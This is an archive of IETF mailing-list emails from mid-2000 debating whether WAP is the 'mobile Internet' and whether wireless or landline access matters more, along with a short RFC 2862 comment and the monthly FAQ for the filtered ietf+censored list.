In-Reply-To: Your message of "Fri, 30 Jun 2000 19:12:26 +0200."
             <002201bfe2b6$5e68b970$0a00000a@abo.wanadoo.fr> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <1287.962382283@cs.ucl.ac.uk>
            <002201bfe2b6$5e68b970$0a00000a@abo.wanadoo.fr>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-2083226136P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Fri, 30 Jun 2000 13:57:37 -0400
X-Loop: ietf@ietf.org

--==_Exmh_-2083226136P
Content-Type: text/plain; charset=us-ascii

On Fri, 30 Jun 2000 19:12:26 +0200, Anthony Atkielski <anthony@atkielski.com>  said:
> Anyway, I have a really good instinct for picking technology winners, and
> thus far I put WAP in the same category as MiniDiscs, bubble memory, color
> fax machines, and quadraphonic sound.  I think the growth area is in:

The MiniDisc died.  MP3 is a big business.  People wanted the functionality.

Bubble memory died - people didn't want that functionality.

Color fax machines died.  People just don't fax enough color documents to
be worth it.  Color digital cameras however are a big business.

Quadraphonic sound died.  Home theatre systems are a big business.

> broadband land-based links; I don't understand why people have flown off on
> tangents towards wireless when land links are just starting to come into
> their own.  I suspect it is more politically motivated than technically

Umm.. I can't run my land link to my car.. or wherever I'm headed next.  That's
why wireless is becoming big business.

WAP may die like the other stuff mentioned above.  However, people DO want
the functionality - or something like it.
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech


--==_Exmh_-2083226136P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.2 06/16/2000

iQA/AwUBOVzfkXAt5Vm009ewEQLHawCgurWntw8duhcQpd0BZVggqGYqJLYAn1U4
6VcqyuPkVGSJtMYZZ9s0b79v
=6lfU
-----END PGP SIGNATURE-----

--==_Exmh_-2083226136P--



From owner-ietf-outbound  Fri Jun 30 14:30:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA23620
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 14:30:02 -0400 (EDT)
Received: from seattle.3com.com (seattle.3com.com [129.213.128.97])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA23560
	for <ietf@ietf.org>; Fri, 30 Jun 2000 14:28:07 -0400 (EDT)
From: Jim_Stephenson-Dunn@3com.com
Received: from new-york.3com.com (new-york.3com.com [129.213.157.12])
	by seattle.3com.com (8.8.8/8.8.8) with ESMTP id LAA11351;
	Fri, 30 Jun 2000 11:27:37 -0700 (PDT)
Received: from hqoutbound.ops.3com.com (hqoutbound.OPS.3Com.COM [139.87.48.104])
	by new-york.3com.com (8.8.8/8.8.8) with SMTP id LAA03135;
	Fri, 30 Jun 2000 11:27:20 -0700 (PDT)
Received: by hqoutbound.ops.3com.com(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 8825690E.006519B6 ; Fri, 30 Jun 2000 11:24:17 -0700
X-Lotus-FromDomain: 3COM
To: anthony@ATKIELSKI.COM, ietf@ietf.org
Message-ID: <8825690E.00651132.00@hqoutbound.ops.3com.com>
Date: Fri, 30 Jun 2000 11:23:41 -0700
Subject: Re: WAP - What A Problem...
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Loop: ietf@ietf.org





---------------------- Forwarded by Jim Stephenson-Dunn/C/HQ/3Com on 06/30/2000
11:24 AM ---------------------------

sent by:  Jim Stephenson-Dunn   -  Network Engineer, GIS LAN/WAN


To:   Alan Simpkins <alan_simpkins@yahoo.com>
cc:   Valdis.Kletnieks@vt.edu, Anthony Atkielski
      <anthony@ATKIELSKI.COM>ietf@ietf.org
Subject:  Re: WAP - What A Problem...  (Document link: Database 'Jim
      Stephenson-Dunn', View '($Sent)')

Valdis and Alan, you have a very valid point, infrastructure is not only
expensive but very time consuming. The engineering component (configuration) is
a relatively quick process by comparison. A country cannot just throw in a
national communications infrastructure overnight.

Having said that though, if people don't know how to use the telephone, they are
unlikely to embrace the Internet. IMHO as the world slowly goes IP, this is
perhaps an attempt by the Telco,s who see shrinking margins to try and bolster
use of their products.

I am having conversations with about 9 people around the world who are building
a pure IP infrastructure (point to point fiber) who are going nowhere near the
Telco's. Whilst it may appeal to the boys and their toys complex who may feel
that having a WAP enabled handset empowers them and/or makes the neighbours
jealous WAP that brings the Internet to a cellular device is of limited use
because of the power and memory constraints of those devices. Why look at
information on a WAP enabled phone with it's small screen, when it is easier to
pull out my laptop, fire it up and  see all of the information in one place at
one time, with lots of memory and processing power at my command.

Whilst I realise that Voice protocols have their place, it is IMHO only a matter
of time, before this family of protocols gets to old and unworkable in the new
world order of IP, that we will have little choice but to take it into the
backyard with a shotgun.

Jim



**************************************************************************************
       Legal Disclaimer


The opinions expressed within this mail are specifically my own and in no way
refer to or relate to any              ongoing business and/or the technical
direction of 3Com Corporation, or any subsidiary companies or
business units within 3Com Corporation and its subsidiaries.


**************************************************************************************



Alan Simpkins <alan_simpkins@yahoo.com> on 06/30/2000 08:22:38 AM

Sent by:  Alan Simpkins <alan_simpkins@yahoo.com>


To:   Valdis.Kletnieks@vt.edu, Anthony Atkielski <anthony@ATKIELSKI.COM>
cc:   ietf@ietf.org (Jim Stephenson-Dunn/C/HQ/3Com)
Subject:  Re: WAP - What A Problem...



Valdis, I agree with you a hundred percent. The most
expensive part of infrastructure is pulling the
cables/fiber necessary to build the infrastrucuture.

--- Valdis.Kletnieks@vt.edu wrote:
> On Fri, 30 Jun 2000 00:41:37 +0200, Anthony
> Atkielski <anthony@atkielski.com>  said:
> > If they are that lacking in mere wires, they
> probably aren't in a position
> > to profit from access to the Internet in the first
> place.  That is, if they
> > lack telephones (and that's all they need for
> broadband, or at least it's
> > the better part of the battle), why would they be
> surfing the Web?  First
> > things first.
>
> The fact that they lack wires doesn't mean they lack
> telephones.
>
> Remember that wires are expensive to pull,
> especially for those 3 houses
> out on the far side of the mountain down the dirt
> road.
>
> > Countries without landlines are not going to be a
> part of the global economy
> > unless they upgrade in a major way very soon.
>
> You got this wrong.  Countries without
> *connectivity* will be screwed. There's
> no *obvious* requirement that there be a landline
> involved.
>
> Having said that, I'm *not* a WAP proponent. ;)
> --
>                   Valdis Kletnieks
>                   Operating Systems Analyst
>                   Virginia Tech
>
>

> ATTACHMENT part 2 application/pgp-signature



__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail - Free email you can access from anywhere!
http://mail.yahoo.com/








From owner-ietf-outbound  Fri Jun 30 14:40:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA23865
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 14:40:03 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA23585
	for <ietf@ietf.org>; Fri, 30 Jun 2000 14:29:31 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id NAA20874;
	Fri, 30 Jun 2000 13:27:05 -0500 (CDT)
Message-Id: <200006301827.NAA20874@rgfsparc.cr.usgs.gov>
Date: Fri, 30 Jun 2000 13:27:05 -0500 (CDT)
From: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Reply-To: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Subject: Re: RFC 2862 on RTP Payload Format for Real-Time Pointers
To: ietf@ietf.org
Cc: rfc-ed@ISI.EDU
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: 0WGIHZ07VB0qd3xQpmOypQ==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc 
X-Loop: ietf@ietf.org

>A new Request for Comments is now available in online RFC libraries.
>
>
>        RFC 2862
>
>        Title:	    RTP Payload Format for Real-Time Pointers
>        Author(s):  M. Civanlar, G. Cash
>        Status:     Standards Track
>	Date:       June 2000
>        Mailbox:    civanlar@research.att.com, glenn@research.att.com 
>        Pages:      7
>        Characters: 12031
>        Updates/Obsoletes/SeeAlso:    None
>
>        I-D Tag:    draft-ietf-avt-pointer-02.txt
>
>
>This document describes an RTP [1] payload format for transporting the

Um, there doesn't seem to be a "URL" field for this announcement.

RGF

Robert G. Ferrell, CISSP
========================================
 Who goeth without humor goeth unarmed.
========================================



From owner-ietf-outbound  Fri Jun 30 19:20:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA28404
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 19:20:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA28348
	for <ietf@ietf.org>; Fri, 30 Jun 2000 19:15:06 -0400 (EDT)
Received: (from hta@localhost)
	by dokka.maxware.no (8.9.3/8.9.3) id BAA16304
	for ietf@ietf.org; Sat, 1 Jul 2000 01:15:02 +0200
Date: Sat, 1 Jul 2000 01:15:02 +0200
From: Harald Tveit Alvestrand <hta@dokka.maxware.no>
Message-Id: <200006302315.BAA16304@dokka.maxware.no>
To: ietf@ietf.org
Subject: FAQ: The IETF+Censored list
X-Loop: ietf@ietf.org


                        The IETF+Censored mailing list
                                       
   At times, the IETF list is subject to debates that have little to do
   with the purposes for which the IETF list was created. Some people
   would appreciate a "quieter" forum for the relevant debates that take
   place, but the IETF's policy of openness has so far prevented the IETF
   from imposing any censorship policy on the IETF@ietf.org list.
   
   To give people an alternative, there is a list called
   "ietf+censored@alvestrand.no".
   
   This list is a sublist (that is, it gets the same messages as) the
   open IETF discussion list. However, this list will not forward all
   messages; in particular, the filters have been set so that persons and
   discussions that are, in the view of Harald Alvestrand, irrelevant to
   the IETF list are not forwarded.
   
   Because this filter is automated, the criteria include:
     * Well known troublemakers
     * Well known crosspostings
     * Subjects that have led to recent non-conclusive exchanges
     * Some ways to say "unsubscribe"
       
   To join the list, [1]send the word "subscribe" in the BODY of a
   message to ietf+censored-request@alvestrand.no (the URL here is an RFC
   2368 mailto URL that does the Right Thing).
   
   To unsubscribe, [2]send the word "unsubscribe" in the BODY of a
   message to ietf+censored-request@alvestrand.no. Do not send to the
   list - your message will be filtered!
   (members of the main IETF list itself must follow instructions for
   that list, of course. You are only a member of ietf+censored if there
   is a comment on the bottom of your IETF list mail saying that the
   message has been sent through the ietf+censored list.)
   
   For fun, there is a special list for the rejected messages:
   ietf+censored-rejects@alvestrand.no - subscribe in the same fashion,
   by [3]mail to ietf+censored-rejects-request@alvestrand.no
   
   By public request, the current set of filters are listed at
   [4]http://www.alvestrand.no/cgi-bin/hta/ietf+censored-filters
   
   Some statistics on postings, which may be useful in getting a
   perspective on the effects of the filter, are at
   [5]posting-counts.html (started Oct 14, 1998).
   
   This page is http://www.alvestrand.no/ietf+censored.html, and is
   posted monthly in text form to ietf@ietf.org
     _________________________________________________________________
   
   Harald Tveit Alvestrand [6]< Harald@Alvestrand.no>

References

   1. mailto:ietf+censored-request@alvestrand.no?body=subscribe
   2. mailto:ietf+censored-request@alvestrand.no?body=unsubscribe
   3. mailto:ietf+censored-rejects-request@alvestrand.no?body=subscribe
   4. http://www.alvestrand.no/cgi-bin/hta/ietf+censored-filters
   5. http://www.alvestrand.no/posting-counts.html
   6. mailto:harald@alvestrand.no



From owner-ietf-outbound  Fri Jun 30 21:10:32 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA29648
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 21:10:02 -0400 (EDT)
Received: from pivsbh1.ms.com (pivsbh1.ms.com [199.89.64.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA29590
	for <ietf@ietf.org>; Fri, 30 Jun 2000 21:07:17 -0400 (EDT)
Received: (from uucp@localhost)
        by pivsbh1.ms.com (8.9.3/fw v1.30) id VAA23359
        for <ietf@ietf.org>; Fri, 30 Jun 2000 21:07:18 -0400 (EDT)
Received: from localhost(127.0.0.1) by pivsbh1 via smap (4.1)
	id sma.9624136241.023300; Fri, 30 Jun 00 21:07:04 -0400
Received: (from uucp@localhost)
	by pivsbh1.ms.com (8.9.3/8.9.3(vs)) id VAA23297
	for <ietf@ietf.org>; Fri, 30 Jun 2000 21:07:04 -0400 (EDT)
X-Authentication-Warning: pivsbh1.ms.com: Processed from queue /var/spool/mqueue-vs
X-Authentication-Warning: pivsbh1.ms.com: Processed by uucp with -C /etc/mail/sendmail.vs.cf
Received: from ebsmh2.ms.com(161.144.69.74) by pivsbh1 via smap (4.1)
	id sma.9624136151.023220; Fri, 30 Jun 00 21:06:55 -0400
Received: from msdw.com (eb114206.morgan.com [161.144.82.69])
        by ebsmh2.ms.com (8.8.5/imap+ldap v2.4) with ESMTP id KAA12813
        for <ietf@ietf.org>; Sat, 1 Jul 2000 10:06:54 +0900 (JST)
Message-ID: <395D442D.C506FEEA@msdw.com>
Date: Sat, 01 Jul 2000 10:06:54 +0900
From: Renfield Kuroda <Renfield.Kuroda@msdw.com>
Organization: Morgan Stanley Dean Witter & Co.
X-Mailer: Mozilla 4.7 [ja]C-CCK-MCD   (WinNT; I)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: "ietf@ietf.org" <ietf@ietf.org>
Subject: Re: Is WAP mobile Internet??
References: <008301bfe289$f0e1f3c0$6764d693@e00008639f5da>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msBC2ED4EBC6EC627803B4575E"
X-Loop: ietf@ietf.org

This is a cryptographically signed message in MIME format.

--------------msBC2ED4EBC6EC627803B4575E
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit

I don't think WAP Mobile Internet any more than TCP/IP is Internet.
The Mobile Internet is data/communication devices you carry around with you.

Here in Japan we have 8 million non-WAP mobile internet users, plus another 2
million WAP users, and the numbers are exploding.

But, and I know this may be the wrong mailing list for this comment, the point is a
non-technical one. Users don't care if it's WAP/WML, or cHTML or MML or text SMS, on
a cdmaONE network, PDC-P, or what.

Technically, I think many agree that WAP and its various technical standards are
ill-conceived and poorly executed, but that doesn't mean the potential of the Mobile
Internet isn't there. I personally think if WAP migrated to xHTML and operators
looked at the successes here in Japan, than the next generation of WAP phones (or
whatever you call them) really can and will be Mobile Internet.

Regards,

r e n

Lars-Erik Jonsson wrote:

> Hi Folks!!
>
> I would like to hear your opinions about how WAP people often say that WAP is
> "mobile Internet". In my opinion, WAP is NOT mobile Internet at all. The
> Internet is built on the e2e principle and based on the Internet Protocols,
> which WAP is not. I can not tell people that they should not use WAP (even if I
> have my opinions about WAP). If they believe in WAP that is their problem, but
> when they try to use the words WAP and Internet in the same sentence I think it
> is time to clarify a few things. I accept that WAP is there, but be honest about
> what it is.
>
> Cheers!
> /Lars-Erik (expressing my PERSONAL opinions)

--
ascii: r e n f i e l d
octal: \162 \145 \156 \146 \151 \145 \154 \144
hex:   \x72 \x65 \x6e \x66 \x69 \x65 \x6c  \x64
morgan stanley dean witter japan
e-business technologies | engineering and strategy

--------------msBC2ED4EBC6EC627803B4575E
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature
Content-Transfer-Encoding: base64

MIIKSQYJKoZIhvcNAQcCoIIKOjCCCjYCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
CD0wggUbMIIEhKADAgECAhA0bpDgf0rNBjdrBVzpBaCpMA0GCSqGSIb3DQEBBAUAMIGPMR8w
HQYDVQQKExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMSkwJwYDVQQLFCBNb3JnYW4gU3Rhbmxl
eSBEZWFuIFdpdHRlciAmIENvLjFBMD8GA1UECxQ4TW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0
ZXIgJiBDby4gQ2xhc3MgMiAtIEluZGl2aWR1YWwgQ0EwHhcNMDAwNjI1MDAwMDAwWhcNMDEw
NjI1MjM1OTU5WjCB6zEpMCcGA1UEChQgTW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0ZXIgJiBD
by4xIDAeBgNVBAsUF0NsYXNzIDIgLSBJbmRpdmlkdWFsIENBMUYwRAYDVQQLEz13d3cudmVy
aXNpZ24uY29tL3JlcG9zaXRvcnkvQ1BTIEluY29ycC4gYnkgUmVmLixMSUFCLkxURChjKTk2
MREwDwYDVQQMFAhFbXBsb3llZTEYMBYGA1UEAxMPUmVuZmllbGQgS3Vyb2RhMScwJQYJKoZI
hvcNAQkBFhhyZW5maWVsZC5rdXJvZGFAbXNkdy5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBAOdHWLpifEbCYl6NmG9COPoOgvVCkk+0gSW3nk95ei58R+4E6rS6/RS2M/ZvKxII
WfFY1URZYB/jDZrmlvhwMAOG9b6AExD6MmEGfvPIASo1k8Jqr68Jv43FoMPVPglREvyNZEAy
vM2ZOg7b4d/JA53/tbYuV2JBG7f2HG2DMWsbAgMBAAGjggIYMIICFDAJBgNVHRMEAjAAMGQG
A1UdHwRdMFswWaBXoFWGU2h0dHA6Ly9vbnNpdGVjcmwudmVyaXNpZ24uY29tL01vcmdhblN0
YW5sZXlEZWFuV2l0dGVyQ29DbGFzczJJbmRpdmlkdWFsQ0EvTGF0ZXN0Q1JMMAsGA1UdDwQE
AwIHgDCBrAYDVR0gBIGkMIGhMIGeBgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0
cHM6Ly93d3cudmVyaXNpZ24uY29tL0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJ
bmMuMAMCAQEaPVZlcmlTaWduJ3MgQ1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0
ZC4gKGMpOTcgVmVyaVNpZ24wEQYJYIZIAYb4QgEBBAQDAgeAMBEGCmCGSAGG+EUBBgkEAwEB
/zCBvgYKYIZIAYb4RQEGDgSBrxaBrDRSR09vNTFqa1UrMHFBTzZ0VW1oQXdtcjlOMFRPS051
Qk5uK25YSHZBR2FrOGZGUXBlMXh3QUw2Y29aUHA3MmpXalBJM2YxUU5CWHoyZFNBVUsrTTVM
VXpvejNvODIvU2lXL3hYcDNSZjNhblY4dWI3NmZUeUNUelBpWFFMSDNPV0xzU2VrZzNRSWpC
N1BqMWlNQUtIUmhCTkdHbXB6ZHZpWWRsaUZyRG5tdz0wDQYJKoZIhvcNAQEEBQADgYEAoj1q
iVMVkFq2eQ/BmrDxFUIveg9opc8P9MqGMnoiJLQj87Eg0mYq1Wv+ZWsW3YCTDAhRi7EIguPa
Quc5KkkO28hnvT7yQViBZHLmfKAVnvnmjERV3LSnU7h2K+UPZKAwpPdwQDiRucfqb2FNanTe
SZ98DL7sI7SGL6uvY7JRpwswggMaMIICg6ADAgECAhEAjHjAZkN+HYAolSapyvcyfTANBgkq
hkiG9w0BAQQFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1
BgNVBAsTLkNsYXNzIDIgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkw
HhcNOTgwNDMwMDAwMDAwWhcNMDMwNDMwMjM1OTU5WjCBjzEfMB0GA1UEChMWVmVyaVNpZ24g
VHJ1c3QgTmV0d29yazEpMCcGA1UECxQgTW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0ZXIgJiBD
by4xQTA/BgNVBAsUOE1vcmdhbiBTdGFubGV5IERlYW4gV2l0dGVyICYgQ28uIENsYXNzIDIg
LSBJbmRpdmlkdWFsIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC1mUR/KpkrVHfx
RivXjy0hlN7b0mmvTXH7pI030m+cJkaLZ4V8K50DMMLvEOcMXNwW0EhEeTiLTdrF7VmQNIeI
aa5ZN8vQGal6Uy1Zg/QY4LomtBeIFwmz1GkyNcnxodk3HH8UsAhhxxN/ofNlMmFYh1Vf83wF
/vxuSi+7kvYb5QIDAQABo4GkMIGhMCgGA1UdEQQhMB+kHTAbMRkwFwYDVQQDExBQcml2YXRl
TGFiZWwxLTQ2MBEGCWCGSAGG+EIBAQQEAwIBBjBEBgNVHSAEPTA7MDkGC2CGSAGG+EUBBwEB
MCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9SUEEwDwYDVR0TBAgw
BgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAY4G8DsKecmel3uL8rahe
drOWYJCAQzsy6vuR+xeCwdf4IsdHcgxOqDUWNc4znCQvBDrZhwhI+6oogQGoWvuKsuBNCIB8
gXuwjL9HMrf4mp6RM/sNDonVv1Xc3ZdpDB9pUgqBq04BaSmccHy+2GLNkL5/nny7l6mubSbV
eBMpmkgxggHUMIIB0AIBATCBpDCBjzEfMB0GA1UEChMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y
azEpMCcGA1UECxQgTW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0ZXIgJiBDby4xQTA/BgNVBAsU
OE1vcmdhbiBTdGFubGV5IERlYW4gV2l0dGVyICYgQ28uIENsYXNzIDIgLSBJbmRpdmlkdWFs
IENBAhA0bpDgf0rNBjdrBVzpBaCpMAkGBSsOAwIaBQCggYYwGAYJKoZIhvcNAQkDMQsGCSqG
SIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDAwNzAxMDEwNjU0WjAjBgkqhkiG9w0BCQQxFgQU
GWCg6y7+JtNQq43UHlE5RmltMWwwJwYJKoZIhvcNAQkPMRowGDAHBgUrDgMCBzANBggqhkiG
9w0DAgIBKDANBgkqhkiG9w0BAQEFAASBgFXWdLsi/udTTfLLI1+PNvXzd0NlTsRdu3D1rWWE
UzGnkUCX11kFnp0GwBBkdclY9WLErAsF/DvMozCfWnqtBqQwmA1aGw3/rQC87+aZhC7Kdc/4
jJYF8Gul/I8zJA7RN1zBI7noMtMcW9voq2WexnTgqtVz98ZP4Gmz6YFQNiPG
--------------msBC2ED4EBC6EC627803B4575E--



From owner-ietf-outbound  Fri Jun 30 21:21:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA29778
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 21:20:02 -0400 (EDT)
Received: from pivsbh1.ms.com (pivsbh1.ms.com [199.89.64.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA29687
	for <ietf@ietf.org>; Fri, 30 Jun 2000 21:12:34 -0400 (EDT)
Received: (from uucp@localhost)
        by pivsbh1.ms.com (8.9.3/fw v1.30) id VAA24883
        for <ietf@ietf.org>; Fri, 30 Jun 2000 21:12:35 -0400 (EDT)
Received: from localhost(127.0.0.1) by pivsbh1 via smap (4.1)
	id sma.9624139541.024867; Fri, 30 Jun 00 21:12:34 -0400
Received: (from uucp@localhost)
	by pivsbh1.ms.com (8.9.3/8.9.3(vs)) id VAA24864
	for <ietf@ietf.org>; Fri, 30 Jun 2000 21:12:34 -0400 (EDT)
X-Authentication-Warning: pivsbh1.ms.com: Processed from queue /var/spool/mqueue-vs
X-Authentication-Warning: pivsbh1.ms.com: Processed by uucp with -C /etc/mail/sendmail.vs.cf
Received: from ebsmh2.ms.com(161.144.69.74) by pivsbh1 via smap (4.1)
	id sma.9624139441.024860; Fri, 30 Jun 00 21:12:24 -0400
Received: from msdw.com (eb114206.morgan.com [161.144.82.69])
        by ebsmh2.ms.com (8.8.5/imap+ldap v2.4) with ESMTP id KAA12992
        for <ietf@ietf.org>; Sat, 1 Jul 2000 10:12:22 +0900 (JST)
Message-ID: <395D4576.A057000D@msdw.com>
Date: Sat, 01 Jul 2000 10:12:22 +0900
From: Renfield Kuroda <Renfield.Kuroda@msdw.com>
Organization: Morgan Stanley Dean Witter & Co.
X-Mailer: Mozilla 4.7 [ja]C-CCK-MCD   (WinNT; I)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: "ietf@ietf.org" <ietf@ietf.org>
Subject: Re: WAP - What A Problem...
References: <1287.962382283@cs.ucl.ac.uk>
	            <002201bfe2b6$5e68b970$0a00000a@abo.wanadoo.fr> <200006301757.e5UHvcP33104@black-ice.cc.vt.edu>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msD2BDC6E9FB2AC6387136BC68"
X-Loop: ietf@ietf.org

This is a cryptographically signed message in MIME format.

--------------msD2BDC6E9FB2AC6387136BC68
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit



Valdis.Kletnieks@vt.edu wrote:

> On Fri, 30 Jun 2000 19:12:26 +0200, Anthony Atkielski <anthony@atkielski.com>  said:
> > Anyway, I have a really good instinct for picking technology winners, and
> > thus far I put WAP in the same category as MiniDiscs, bubble memory, color
> > fax machines, and quadraphonic sound.  I think the growth area is in:
>
> The MiniDisc died.  MP3 is a big business.  People wanted the functionality.
>

The MD is in no way dead. There are MILLIONS of them in Japan and across Asia. MDs never
took off in the US/Europe, but that doesn't relegate it to the betmax graveyard. When 1
billion Chinese are recording their MP3s onto MDs and memory sticks, would you call that
a dead technology?

> WAP may die like the other stuff mentioned above.  However, people DO want
> the functionality - or something like it.

Absolutely. Whatever the technical standard, mobile computing is not going away.


Regards,
r e n

--
ascii: r e n f i e l d
octal: \162 \145 \156 \146 \151 \145 \154 \144
hex:   \x72 \x65 \x6e \x66 \x69 \x65 \x6c  \x64
** note new work email: renfield.kuroda@msdw.com **


--------------msD2BDC6E9FB2AC6387136BC68
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature
Content-Transfer-Encoding: base64

MIIKSQYJKoZIhvcNAQcCoIIKOjCCCjYCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
CD0wggUbMIIEhKADAgECAhA0bpDgf0rNBjdrBVzpBaCpMA0GCSqGSIb3DQEBBAUAMIGPMR8w
HQYDVQQKExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMSkwJwYDVQQLFCBNb3JnYW4gU3Rhbmxl
eSBEZWFuIFdpdHRlciAmIENvLjFBMD8GA1UECxQ4TW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0
ZXIgJiBDby4gQ2xhc3MgMiAtIEluZGl2aWR1YWwgQ0EwHhcNMDAwNjI1MDAwMDAwWhcNMDEw
NjI1MjM1OTU5WjCB6zEpMCcGA1UEChQgTW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0ZXIgJiBD
by4xIDAeBgNVBAsUF0NsYXNzIDIgLSBJbmRpdmlkdWFsIENBMUYwRAYDVQQLEz13d3cudmVy
aXNpZ24uY29tL3JlcG9zaXRvcnkvQ1BTIEluY29ycC4gYnkgUmVmLixMSUFCLkxURChjKTk2
MREwDwYDVQQMFAhFbXBsb3llZTEYMBYGA1UEAxMPUmVuZmllbGQgS3Vyb2RhMScwJQYJKoZI
hvcNAQkBFhhyZW5maWVsZC5rdXJvZGFAbXNkdy5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBAOdHWLpifEbCYl6NmG9COPoOgvVCkk+0gSW3nk95ei58R+4E6rS6/RS2M/ZvKxII
WfFY1URZYB/jDZrmlvhwMAOG9b6AExD6MmEGfvPIASo1k8Jqr68Jv43FoMPVPglREvyNZEAy
vM2ZOg7b4d/JA53/tbYuV2JBG7f2HG2DMWsbAgMBAAGjggIYMIICFDAJBgNVHRMEAjAAMGQG
A1UdHwRdMFswWaBXoFWGU2h0dHA6Ly9vbnNpdGVjcmwudmVyaXNpZ24uY29tL01vcmdhblN0
YW5sZXlEZWFuV2l0dGVyQ29DbGFzczJJbmRpdmlkdWFsQ0EvTGF0ZXN0Q1JMMAsGA1UdDwQE
AwIHgDCBrAYDVR0gBIGkMIGhMIGeBgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0
cHM6Ly93d3cudmVyaXNpZ24uY29tL0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJ
bmMuMAMCAQEaPVZlcmlTaWduJ3MgQ1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0
ZC4gKGMpOTcgVmVyaVNpZ24wEQYJYIZIAYb4QgEBBAQDAgeAMBEGCmCGSAGG+EUBBgkEAwEB
/zCBvgYKYIZIAYb4RQEGDgSBrxaBrDRSR09vNTFqa1UrMHFBTzZ0VW1oQXdtcjlOMFRPS051
Qk5uK25YSHZBR2FrOGZGUXBlMXh3QUw2Y29aUHA3MmpXalBJM2YxUU5CWHoyZFNBVUsrTTVM
VXpvejNvODIvU2lXL3hYcDNSZjNhblY4dWI3NmZUeUNUelBpWFFMSDNPV0xzU2VrZzNRSWpC
N1BqMWlNQUtIUmhCTkdHbXB6ZHZpWWRsaUZyRG5tdz0wDQYJKoZIhvcNAQEEBQADgYEAoj1q
iVMVkFq2eQ/BmrDxFUIveg9opc8P9MqGMnoiJLQj87Eg0mYq1Wv+ZWsW3YCTDAhRi7EIguPa
